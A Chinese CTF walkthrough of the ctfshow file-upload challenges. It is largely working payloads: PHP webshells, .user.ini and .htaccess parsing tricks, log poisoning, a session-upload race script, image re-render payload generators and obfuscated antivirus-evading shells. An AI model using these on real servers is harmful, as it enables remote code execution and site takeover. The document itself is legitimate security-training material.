ctfshow文件上传

web151-前端绕过

提示前台校验不可靠,上传png图片,burp抓包修改为php

在这里插入图片描述
任意命令执行
在这里插入图片描述
这里关闭js的话点击上传图片就没有反应了。
在这里插入图片描述

web152-后端绕过

一模一样的步骤,应该上一题前端判断的做法是修改前端代码吧
在这里插入图片描述

web153-.user.ini绕过

这里要上传user.ini进行文件上传绕过
https://www.dazhuanlan.com/vip_mmles/topics/1547397简单理解就是.user.ini文件中有一个auto_prepend_file = <filename> //包含在文件头配置项,它的作用的是在同目录.php文件中包含<filename>的内容,既然这样如果<filename>文件中包含恶意命令,那么就会造成命令执行

创建一个.user.ini文件

auto_append_file="1.png"

在这里插入图片描述
想在页面上传抓包竟然失败了,只能先上传png图片然后改内容了

在这里插入图片描述

在这里插入图片描述上传成功后在index.php页面进行任意命令执行
在这里插入图片描述

web154-155

在这里插入图片描述上传一句话木马显示文件内容不合规,尝试

<?=@eval($_POST['pass']);?>
<? @eval($_POST['pass']);?>
<% @eval($_POST['pass']);%>

发现上传成功,那步骤就和上一关一样了,上传.user.ini文件然后去index.php页面上进行任意命令执行

在这里插入图片描述

web156

在前面的基础上过滤了 []那我们直接用{}来代替

<?=eval($_POST{
    
    'pass'});?>

web157-159

逐渐过滤了{}、分号、括号

<?=`tac ../f*`?>

这里如果上传了错误文件就会出错,需要多运行几次让它包含正确目录

web160-日志包含

过滤了括号反引号及一些关键字,利用日志包含绕过,图片内容<?=include"/var/lo"."g/nginx/access.lo"."g"?> 因为log被过滤了。所以用拼接绕过。仍然是先上传.user.ini
在这里插入图片描述
上传图片
在这里插入图片描述

访问网站然后修改ua头信息,多go几次
在这里插入图片描述

web161-日志+文件头

在160的基础上增加图片头即可,即 GIF89A

GIF89A
auto_append_file="1.png"
GIF89A
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

web162/163-session文件包含

这里过滤了.所以不能再用日志+文件包含了,这里用到session文件包含+条件竞争。
利用session.upload_progress进行文件包含和反序列化渗透
yu神
依旧是先上传.user.ini文件
在这里插入图片描述上传png文件
在这里插入图片描述想用burp intruder进行条件竞争,可是一下一下运行的太慢了,还是贴yu神的脚本把

import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
    
    
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
    
    
	'file':'yu22x'
}
cookies={
    
    
	'PHPSESSID': sess
}

def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.get(url2)
		if 'flag' in r.text:
			print(r.text)
			
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

原文链接:https://blog.csdn.net/miuzzx/article/details/109537262

web164-png图片二次渲染绕过

二次渲染绕过

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    
    
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

原文链接:https://blog.csdn.net/miuzzx/article/details/109537262

运行脚本生成新的图片,上传后查看图片并执行命令

GET:0=system
POST:1=tac ../f*

Ctrl+s下载查看结果

web165

jpg图片二次渲染绕过

<?php
    $miniPayload = "<?php system('tac f*');?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    
    
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
    
    
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
    
    
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
    
    
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
    
    
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
    
    
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
    
    
                    while((!$dis->eof())) {
    
    
                        if($dis->readByte() === 0xFF) {
    
    
                            if($dis->readByte !== 0x00) {
    
    
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
    
    
                    $outStream = $outStreamTmp;
                } else {
    
    
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
    
    
                    die('Success!');
                } else {
    
    
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
    
    
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
    
    
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
    
    
            if(isset($m[1])) {
    
    
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
    
    
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
    
    
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
    
    
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
    
    
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
    
    
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
    
    
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
    
    
            if($this->eof()) {
    
    
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
    
    
            if(strlen($this->binData) < 2) {
    
    
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
    
    
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
    
    
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
    
    
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
用法  php exp.php a.png

原文链接:https://blog.csdn.net/miuzzx/article/details/109537262

web166-zip绕过

在这里插入图片描述发现只能上传.zip文件,Content-Type: application/x-zip-compressed

在这里插入图片描述不过倒也只在前端做了验证
在这里插入图片描述

web167-htaccess文件绕过

httpd-apache2服务器,上传.htaccess文件 ,任意文件解析为php
两种方法

AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php


<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

上传jpg图片抓包
在这里插入图片描述
上传.htaccess文件
在这里插入图片描述
对应页面任意命令执行
在这里插入图片描述

web168-免杀

免杀

<?=`$_REQUEST[1]`;?>
利用反引号执行系统命令
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

拼接
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

截取拼接
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

至反
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

拼接

在这里插入图片描述
在这里插入图片描述

web169/170-日志包含+.user.ini

先上传.user.ini文件。这里只能上传.zip才行,上传zip文件抓包,UA为一句话木马

在这里插入图片描述

需要一个php文件,这里上传空文件也可
在这里插入图片描述

在php页面进行任意命令执行
在这里插入图片描述

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_54648419/article/details/120867067